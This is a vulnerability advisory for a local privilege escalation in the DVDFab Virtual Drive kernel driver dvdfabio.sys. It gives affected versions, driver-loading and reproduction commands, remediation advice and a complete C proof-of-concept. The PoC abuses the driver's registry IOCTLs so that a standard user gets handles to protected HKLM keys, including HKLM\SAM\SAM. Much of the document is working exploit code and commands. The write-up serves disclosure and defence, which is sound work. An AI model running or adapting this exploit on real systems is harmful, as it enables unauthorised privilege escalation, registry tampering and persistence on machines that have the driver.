DVDFab Virtual Drive Kernel Driver dvdfabio.sys 1.5.1.0 Local Privilege Escalation

CVE-2026-12217 Summary

DVDFab Virtual Drive 2.0.0.5 ships the signed kernel driver `dvdfabio.sys`. The driver exposes `\\.\DVDFabIO` and implements registry proxy IOCTLs that open or create caller-selected native registry paths from kernel context.

The returned registry handle is inserted into the caller's process handle table. Because the driver opens the key from kernel mode without enforcing the caller's normal registry access checks, a standard user can obtain a usable handle to protected HKLM keys. In the validation below, a standard user could not directly write to a protected HKLM test key and could not directly query `HKLM\SAM\SAM`; the same user used `\\.\DVDFabIO` to write the protected test key and to open/query `HKLM\SAM\SAM`, local privilege escalation is achieved.

Affected Product and Version

- Product: DVDFab Virtual Drive
- Tested package: x64 offline installer 2.0.0.5
- Driver: `dvdfabio.sys`
- Driver version: 1.5.1.0
- Driver SHA-256: `C3A8549359FF81566F5C58359458E3F019C8DB73EE5BC831680C6EDB3A95F38B`

Download URL and SHA-256

- Download URL: `https://dl.dvdfab.cn/download/204_2005_9042fe5d/dvdfab_virtual_drive_x64_2005.exe`
- File name: `dvdfab_virtual_drive_x64_2005.exe`
- Installer SHA-256: `47EFFCEA3D80B6784DF6314BFADCABA6B688EF03F2B5FEAFA0CB2744C041F1E7`
- Installer version: `1.0.0.1`
- Installer signature: Valid, DVDFab Software Inc.

- Driver signature: Valid, Fengtao Software Inc.

Vulnerability Type

Local privilege escalation / Windows registry access-control bypass through kernel-created registry handles returned to a low-privileged caller.

Impact

A low-privileged local user can obtain handles to protected HKLM registry keys with access masks that Windows would normally deny. With `KEY_SET_VALUE`, this permits protected registry value writes. With read access, it permits opening protected hives such as `HKLM\SAM\SAM`.

Practical impact includes protected configuration tampering, persistence setup through registry-controlled locations, and sensitive registry metadata disclosure. The validation used a self-created HKLM test key for write impact and used `HKLM\SAM\SAM` only for read/open proof.

Test Environment

- OS: Windows, x64 test VM
- Administrator account used only for driver loading and test-object setup
- Test user: standard user `EXPDEV\low`
- Test user integrity: Medium Integrity
- Test user groups: `BUILTIN\Users`, not `BUILTIN\Administrators`
- Test key: `HKLM\SOFTWARE\VendorRepro\DVDFabIO`

Driver Load / Setup Steps

1. Downloaded the official DVDFab Virtual Drive x64 offline installer.
2. Extracted `dvdfabio.sys` from the package with 7-Zip.
3. Loaded the extracted signed driver without installing the full product by creating a temporary kernel service:

```
sc.exe create DVDFabIORepro type= kernel start= demand binPath= C:\...\dvdfabio.sys
sc.exe start DVDFabIORepro
```

4. Confirmed the driver was running:

```
SERVICE_NAME: DVDFabIORepro
TYPE               : 1  KERNEL_DRIVER
```

```
STATE              : 4  RUNNING
```

5. Created a protected HKLM test key as administrator:

```
New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -
PropertyType String -Force
```

Reproduction Steps1. Extract and Load Driver

1. Extract and Load Driver

Extract `dvdfabio.sys` from the official x64 installer:

```
7z.exe x dvdfab_virtual_drive_x64_2005.exe dvdfabio.sys -
oC:\ProgramData\VendorRepro\dvdfabio_extract -y
```

Load the driver with a temporary service:

```
sc.exe create DVDFabIORepro type= kernel start= demand binPath=
C:\ProgramData\VendorRepro\dvdfabio_extract\dvdfabio.sys
sc.exe start DVDFabIORepro
sc.exe query DVDFabIORepro
```

2. Create Controlled Registry Key

Run as administrator:

```
New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -
PropertyType String -Force | Out-Null
```

3. Baseline as Standard User

Run as a standard user:

```
reg add HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten /t REG_SZ /d SHOULD-NOT-WRITE /f
reg query HKLM\SAM\SAM
```

Expected result:

```
ERROR: Access is denied.
```

4. Write Protected Value Through Driver Handle

Run as the same standard user:

```
dvdfabio_registry_setvalue_poc.exe --key \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO --
value DriverWritten --data DVDFABIO-REGISTRY-HANDLE-WRITE-c116e8a0-e40f-40c3-aa0f-3e4c48f49cae
```

Expected output:

```
Set \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO\DriverWritten through dvdfabio handle
```

Confirm:

```
reg query HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten
```

5. Open SAM Through Driver Handle

Run as the same standard user:

```
dvdfabio_registry_handle_poc.exe \Registry\Machine\SAM\SAM 0x00020019
```

Expected output:

```
Driver returned key handle: 0x...
NtQueryKey succeeded. Final key component: SAM
```

6. Cleanup

```
Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue
sc.exe stop DVDFabIORepro
sc.exe delete DVDFabIORepro
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denies that user direct write access to the protected HKLM test key and direct read/query access to `HKLM\SAM\SAM`. The same user can obtain privileged registry handles through `\\.\DVDFabIO` and use them in the caller process.

This proves that `dvdfabio.sys` exposes privileged registry open/create functionality to low-privileged callers without enforcing the expected Windows registry access checks.

Suggested Remediation

- Remove the registry open/create IOCTLs from the public device interface.
- Restrict the \\.\DVDFabIO device ACL so standard users cannot open it.
- Do not return kernel-opened object handles to untrusted callers.
- If registry access is required, impersonate the caller and force normal access checks before opening the registry object.
- Restrict any necessary registry helper to vendor-owned keys and validate requested access masks against a strict allowlist.

POC

```
// DVDFab Virtual Drive dvdfabio.sys registry handle ACL-bypass PoC.
//
// Static target:
//   \Device\DVDFabIO / \\.\DVDFabIO
//   IOCTL 0x222410 -> ZwOpenKey with ObjectAttributes.Attributes = 0x40
//   IOCTL 0x22240C -> ZwCreateKey with ObjectAttributes.Attributes = 0x40
//
// This program does not write registry values. By default it asks the driver to
// open \Registry\Machine\SAM\SAM read-only and verifies the returned handle with
// NtQueryKey. The optional --create-demo mode creates/opens a disposable HKLM
// software key but still does not set or delete values.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <winternl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>
```

```
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#ifndef KEY_WOW64_64KEY
#define KEY_WOW64_64KEY 0x0100
#endif

#define IOCTL_DVDFABIO_CREATE_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x903, METHOD_BUFFERED,
FILE_ANY_ACCESS)
#define IOCTL_DVDFABIO_OPEN_KEY   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x904, METHOD_BUFFERED,
FILE_ANY_ACCESS)

typedef enum _KEY_INFORMATION_CLASS_LOCAL {
    KeyBasicInformationLocal = 0
} KEY_INFORMATION_CLASS_LOCAL;

typedef struct _KEY_BASIC_INFORMATION_LOCAL {
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_BASIC_INFORMATION_LOCAL;

typedef NTSTATUS (NTAPI *PFN_NT_QUERY_KEY)(
    HANDLE KeyHandle,
    KEY_INFORMATION_CLASS_LOCAL KeyInformationClass,
    PVOID KeyInformation,
    ULONG Length,
    PULONG ResultLength);

#pragma pack(push, 1)
typedef struct _DVDFABIO_OPEN_KEY_REQ {
    DWORD DesiredAccess;
    WCHAR NativePath[260];
} DVDFABIO_OPEN_KEY_REQ;

typedef struct _DVDFABIO_CREATE_KEY_REQ {
    DWORD DesiredAccess;
```

```
    DWORD CreateOptions;
    WCHAR NativePath[260];
} DVDFABIO_CREATE_KEY_REQ;
#pragma pack(pop)

static void usage(const wchar_t *argv0)
{
    wprintf(L"Usage:\n");
    wprintf(L"  %ls [native-key-path] [desired-access-hex]\n", argv0);
    wprintf(L"  %ls --create-demo\n\n", argv0);
    wprintf(L"Default native-key-path: \\\\Registry\\\\Machine\\\\SAM\\\\SAM\n");
    wprintf(L"Default desired access:  KEY_READ | KEY_WOW64_64KEY (0x%08lx)\n",
            (unsigned long)(KEY_READ | KEY_WOW64_64KEY));
}

static int query_key_name(HANDLE key)
{
    BYTE buffer[1024];
    ULONG needed = 0;
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) {
        fwprintf(stderr, L"GetModuleHandleW(ntdll.dll) failed: %lu\n", GetLastError());
        return 1;
    }

    PFN_NT_QUERY_KEY NtQueryKeyFn =
        (PFN_NT_QUERY_KEY)GetProcAddress(ntdll, "NtQueryKey");
    if (!NtQueryKeyFn) {
        fwprintf(stderr, L"GetProcAddress(NtQueryKey) failed: %lu\n", GetLastError());
        return 1;
    }

    NTSTATUS st = NtQueryKeyFn(key,
                               KeyBasicInformationLocal,
                               buffer,
                               sizeof(buffer),
                               &needed);
    if (!NT_SUCCESS(st)) {
        fwprintf(stderr, L"NtQueryKey failed: NTSTATUS 0x%08lx, needed %lu bytes\n",
                 (unsigned long)st, needed);
```

```
        return 1;
    }

    KEY_BASIC_INFORMATION_LOCAL *info = (KEY_BASIC_INFORMATION_LOCAL *)buffer;
    DWORD chars = info->NameLength / sizeof(WCHAR);
    wprintf(L"NtQueryKey succeeded. Final key component: %.*ls\n",
            (int)chars, info->Name);
    return 0;
}

static int open_key_via_driver(HANDLE device, const wchar_t *path, DWORD desired)
{
    DVDFABIO_OPEN_KEY_REQ req;
    DWORD bytes = 0;
    ZeroMemory(&req, sizeof(req));
    req.DesiredAccess = desired;
    wcsncpy_s(req.NativePath, _countof(req.NativePath), path, _TRUNCATE);

    BOOL ok = DeviceIoControl(device,
                              IOCTL_DVDFABIO_OPEN_KEY,
                              &req,
                              sizeof(req),
                              &req,
                              sizeof(uint64_t),
                              &bytes,
                              NULL);
    if (!ok) {
        fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_OPEN_KEY) failed: %lu\n",
                 GetLastError());
        return 1;
    }

    uintptr_t raw_handle = *(uintptr_t *)&req;
    if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {
        fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",
                 (void *)raw_handle);
        return 1;
    }

    HANDLE key = (HANDLE)raw_handle;
```

```
    wprintf(L"Driver returned key handle: 0x%p for %ls\n", key, path);
    int rc = query_key_name(key);
    CloseHandle(key);
    return rc;
}

static int create_demo_key_via_driver(HANDLE device)
{
    static const wchar_t demo_path[] =
        L"\\Registry\\Machine\\SOFTWARE\\DVDFabIO_PoC";
    DVDFABIO_CREATE_KEY_REQ req;
    DWORD bytes = 0;
    ZeroMemory(&req, sizeof(req));
    req.DesiredAccess = KEY_READ | KEY_SET_VALUE | KEY_CREATE_SUB_KEY | KEY_WOW64_64KEY;
    req.CreateOptions = REG_OPTION_NON_VOLATILE;
    wcsncpy_s(req.NativePath, _countof(req.NativePath), demo_path, _TRUNCATE);

    BOOL ok = DeviceIoControl(device,
                              IOCTL_DVDFABIO_CREATE_KEY,
                              &req,
                              sizeof(req),
                              &req,
                              sizeof(uint64_t),
                              &bytes,
                              NULL);
    if (!ok) {
        fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_CREATE_KEY) failed: %lu\n",
                 GetLastError());
        return 1;
    }

    uintptr_t raw_handle = *(uintptr_t *)&req;
    if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {
        fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",
                 (void *)raw_handle);
        return 1;
    }

    HANDLE key = (HANDLE)raw_handle;
    wprintf(L"Driver created/opened demo key handle: 0x%p for %ls\n", key, demo_path);
```

```
    int rc = query_key_name(key);
    CloseHandle(key);
    return rc;
}

int wmain(int argc, wchar_t **argv)
{
    const wchar_t *path = L"\\Registry\\Machine\\SAM\\SAM";
    DWORD desired = KEY_READ | KEY_WOW64_64KEY;
    BOOL create_demo = FALSE;

    if (argc > 1) {
        if (wcscmp(argv[1], L"--help") == 0 || wcscmp(argv[1], L"-h") == 0) {
            usage(argv[0]);
            return 0;
        }
        if (wcscmp(argv[1], L"--create-demo") == 0) {
            create_demo = TRUE;
        } else {
            path = argv[1];
        }
    }
    if (argc > 2) {
        desired = wcstoul(argv[2], NULL, 0);
    }

    HANDLE device = CreateFileW(L"\\\\.\\DVDFabIO",
                                0,
                                FILE_SHARE_READ | FILE_SHARE_WRITE,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if (device == INVALID_HANDLE_VALUE) {
        fwprintf(stderr, L"CreateFileW(\\\\.\\DVDFabIO) failed: %lu\n", GetLastError());
        fwprintf(stderr, L"Install/load DVDFab Virtual Drive first, then retry in a disposable
VM.\n");
        return 1;
    }
```

```
    int rc = create_demo
        ? create_demo_key_via_driver(device)
        : open_key_via_driver(device, path, desired);

    CloseHandle(device);
    return rc;
}
```

Revision #6
Created 2026-05-20 04:56:08 UTC by winslow
Updated 2026-06-20 21:21:53 UTC by winslow